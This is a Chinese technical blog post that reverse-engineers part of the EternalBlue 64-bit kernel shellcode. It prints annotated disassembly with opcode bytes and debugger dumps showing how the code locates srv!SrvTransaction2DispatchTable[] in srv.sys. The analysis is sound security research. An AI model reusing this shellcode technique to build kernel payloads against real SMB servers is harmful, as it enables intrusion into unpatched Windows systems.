标题: kernel shellcode之定位srv!SrvTransaction2DispatchTable[] https://scz.617.cn/windows/201704171418.txt 以64-bits为例,这是Eternalblue所用代码: -------------------------------------------------------------------------- /* * winnt.h */ #define IMAGE_SIZEOF_SECTION_HEADER 40 #define IMAGE_SIZEOF_SHORT_NAME 8 typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // +0x00 union { DWORD PhysicalAddress; // +0x08 DWORD VirtualSize; // +0x08 } Misc; // +0x08 DWORD VirtualAddress; // +0x0c DWORD SizeOfRawData; // +0x10 DWORD PointerToRawData; // +0x14 DWORD PointerToRelocations; // +0x18 DWORD PointerToLinenumbers; // +0x1c WORD NumberOfRelocations; // +0x20 WORD NumberOfLinenumbers; // +0x22 DWORD Characteristics; // +0x24 // +0x28 } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; -------------------------------------------------------------------------- 00000000000006C5 48 89 F0 mov rax, rsi ; srv 00000000000006C8 48 31 D2 xor rdx, rdx 00000000000006CB 48 89 C3 mov rbx, rax 00000000000006CE 8B 50 3C mov edx, [rax+3Ch] ; 在(基址+0x3c)处获取e_lfanew 00000000000006D1 48 01 D0 add rax, rdx ; base+dwo(base+0x3c) 00000000000006D4 48 89 C6 mov rsi, rax ; PE 00000000000006D7 48 31 C9 xor rcx, rcx 00000000000006DA 48 89 CA mov rdx, rcx 00000000000006DD 66 8B 48 06 mov cx, [rax+6] ; dt ntdll!_IMAGE_FILE_HEADER 00000000000006DD ; IMAGE_FILE_HEADER.NumberOfSections 00000000000006E1 66 8B 50 14 mov dx, [rax+14h] ; IMAGE_FILE_HEADER.SizeOfOptionalHeader 00000000000006E5 48 01 D6 add rsi, rdx ; PE+SizeOfOptionalHeader 00000000000006E8 48 83 C6 18 add rsi, 18h ; PE+4+0x14+SizeOfOptionalHeader 00000000000006E8 ; IMAGE_NT_HEADERS64之后是IMAGE_SECTION_HEADER 00000000000006EC 48 BF 2E 64 61 74 61 00+ mov rdi, 'atad.' ; .data 00000000000006F6 00000000000006F6 loop_6F6: ; NumberOfSections 00000000000006F6 48 83 F9 00 cmp rcx, 0 00000000000006FA 0F 84 CD 00 00 00 jz error_7CD 0000000000000700 48 8B 06 mov rax, [rsi] ; IMAGE_SECTION_HEADER.Name[8] 0000000000000703 48 39 F8 cmp rax, rdi ; .data 0000000000000706 74 09 jz short found_711 0000000000000708 48 83 C6 28 add rsi, 28h ; sizeof(IMAGE_SECTION_HEADER) 000000000000070C 48 FF C9 dec rcx ; NumberOfSections-- 000000000000070F EB E5 jmp short loop_6F -------------------------------------------------------------------------- 上述代码在定位srv模块的.data section。 用64-bits IDA反汇编srv.sys,在"Names windows"中寻找SrvTransaction2DispatchTable, 会发现它的低址方向充斥着很多组"FE FE FE FE FE FE FE FE"。这些实际是 srv!SrvSmbWordCount[]中的数据,对应"-2 -2 -2 -2 -2 -2 -2 -2",数据类型是SCHAR。 kd> dq srv!SrvSmbWordCount l 0x20 fffff880`09c8f660 01010103`03020000 03030505`05050800 fffff880`09c8f670 fefefe05`05040000 fefefefe`fefefefe fffff880`09c8f680 0e08ff08`010701fe ffff0fff`01030308 fffff880`09c8f690 fefe0101`09ff0303 fefefefe`fefefefe fffff880`09c8f6a0 fefefefe`fefefefe fefefefe`fefefefe fffff880`09c8f6b0 fefefefe`fefefefe fefefefe`fefefefe fffff880`09c8f6c0 fefefefe`fefefefe fefefefe`fefefefe fffff880`09c8f6d0 fefe0402`ff000000 fefefefe`fefefefe fffff880`09c8f6e0 fefefe02`02020200 fefefefe`fefefefe fffff880`09c8f6f0 fefefefe`fefefefe fefefefe`fefefefe fffff880`09c8f700 fefe0400`fe1812ff fefefefe`fefefefe fffff880`09c8f710 fefefefe`fefefefe fefefefe`fefefefe fffff880`09c8f720 fefefefe`02010102 fefefefe`fefefefe fffff880`09c8f730 fefefefe`fefefefe fefefefe`fefefefe fffff880`09c8f740 fefefefe`fefefefe fefefefe`fefefefe fffff880`09c8f750 fefefefe`fefefefe fefefefe`fefefefe srv!SrvSmbWordCount[]之后依次是srv!SrvTransaction2DispatchTable[]、 srv!SrvNtTransactionDispatchTable[]: kd> dps srv!SrvTransaction2DispatchTable l 0x12 fffff880`09e50760 fffff880`09eba000 srv!SrvSmbOpen2 // 0 fffff880`09e50768 fffff880`09e82fb0 srv!SrvSmbFindFirst2 fffff880`09e50770 fffff880`09eb77c0 srv!SrvSmbFindNext2 fffff880`09e50778 fffff880`09e84f90 srv!SrvSmbQueryFsInformation fffff880`09e50780 fffff880`09eac580 srv!SrvSmbSetFsInformation fffff880`09e50788 fffff880`09e84780 srv!SrvSmbQueryPathInformation fffff880`09e50790 fffff880`09eba530 srv!SrvSmbSetPathInformation fffff880`09e50798 fffff880`09e7bc40 srv!SrvSmbQueryFileInformation fffff880`09e507a0 fffff880`09e80660 srv!SrvSmbSetFileInformation fffff880`09e507a8 fffff880`09ea0ca0 srv!SrvSmbFindNotify fffff880`09e507b0 fffff880`09eba360 srv!SrvSmbIoctl2 fffff880`09e507b8 fffff880`09ea0ca0 srv!SrvSmbFindNotify fffff880`09e507c0 fffff880`09ea0ca0 srv!SrvSmbFindNotify fffff880`09e507c8 fffff880`09eacd50 srv!SrvSmbCreateDirectory2 fffff880`09e507d0 fffff880`09ea0aa0 srv!SrvTransactionNotImplemented // 14 fffff880`09e507d8 fffff880`09ea0aa0 srv!SrvTransactionNotImplemented // 15 fffff880`09e507e0 fffff880`09ea67b0 srv!SrvSmbGetDfsReferral fffff880`09e507e8 fffff880`09ea2420 srv!SrvSmbReportDfsInconsistency // 17 kd> dps srv!SrvNtTransactionDispatchTable l 9 fffff880`09c8f7f0 00000000`00000000 fffff880`09c8f7f8 fffff880`09cf8ff0 srv!SrvSmbCreateWithSdOrEa fffff880`09c8f800 fffff880`09c783c0 srv!SrvSmbNtIoctl fffff880`09c8f808 fffff880`09ceafa0 srv!SrvSmbSetSecurityDescriptor fffff880`09c8f810 fffff880`09cf5f40 srv!SrvSmbNtNotifyChange fffff880`09c8f818 fffff880`09cdfe10 srv!SrvSmbNtRename fffff880`09c8f820 fffff880`09cead50 srv!SrvSmbQuerySecurityDescriptor fffff880`09c8f828 fffff880`09ceaad0 srv!SrvSmbQueryQuota fffff880`09c8f830 fffff880`09cea920 srv!SrvSmbSetQuota srv!SrvNtTransactionDispatchTable[0]在XP源码中就是NULL。 -------------------------------------------------------------------------- 0000000000000711 found_711: ; .data 0000000000000711 8B 46 0C mov eax, [rsi+0Ch] ; IMAGE_SECTION_HEADER.VirtualAddress 0000000000000714 8B 4E 08 mov ecx, [rsi+8] ; IMAGE_SECTION_HEADER.VirtualSize 0000000000000717 48 01 C6 add rsi, rax ; .data+IMAGE_SECTION_HEADER.VirtualAddress 000000000000071A 48 BB FE FE FE FE FE FE+ mov rbx, 0FEFEFEFEFEFEFEFEh ; 这是经验数据,不是逻辑必然,实际是srv!SrvSmbWordCount[]中的数据 0000000000000724 0000000000000724 loop_724: ; VirtualSize -= 8 0000000000000724 48 83 E9 08 sub rcx, 8 0000000000000728 48 83 F9 00 cmp rcx, 0 000000000000072C 0F 8C 9B 00 00 00 jl error_7CD 0000000000000732 48 8B 3E mov rdi, [rsi] 0000000000000735 48 39 DF cmp rdi, rbx ; 是否出现0xFEFEFEFEFEFEFEFE 0000000000000738 75 0C jnz short loc_746 000000000000073A 4C 8B 86 98 00 00 00 mov r8, [rsi+98h] 0000000000000741 4D 85 C0 test r8, r8 ; srv!SrvNtTransactionDispatchTable[0]在XP源码中就是NULL 0000000000000744 74 06 jz short found_74C 0000000000000746 0000000000000746 loc_746: ; p += 8 0000000000000746 48 83 C6 08 add rsi, 8 000000000000074A EB D8 jmp short loop_724 000000000000074C 000000000000074C 000000000000074C found_74C: ; rsi+8=srv!SrvTransaction2DispatchTable[] 000000000000074C 48 83 C6 08 add rsi, 8 -------------------------------------------------------------------------- 上述代码在srv模块的.data section中寻找srv!SrvSmbWordCount[],然后辅以 srv!SrvNtTransactionDispatchTable[0]等于NULL的事实夹击定位 srv!SrvTransaction2DispatchTable[]。显然这段代码基于经验事实,不是逻辑必然。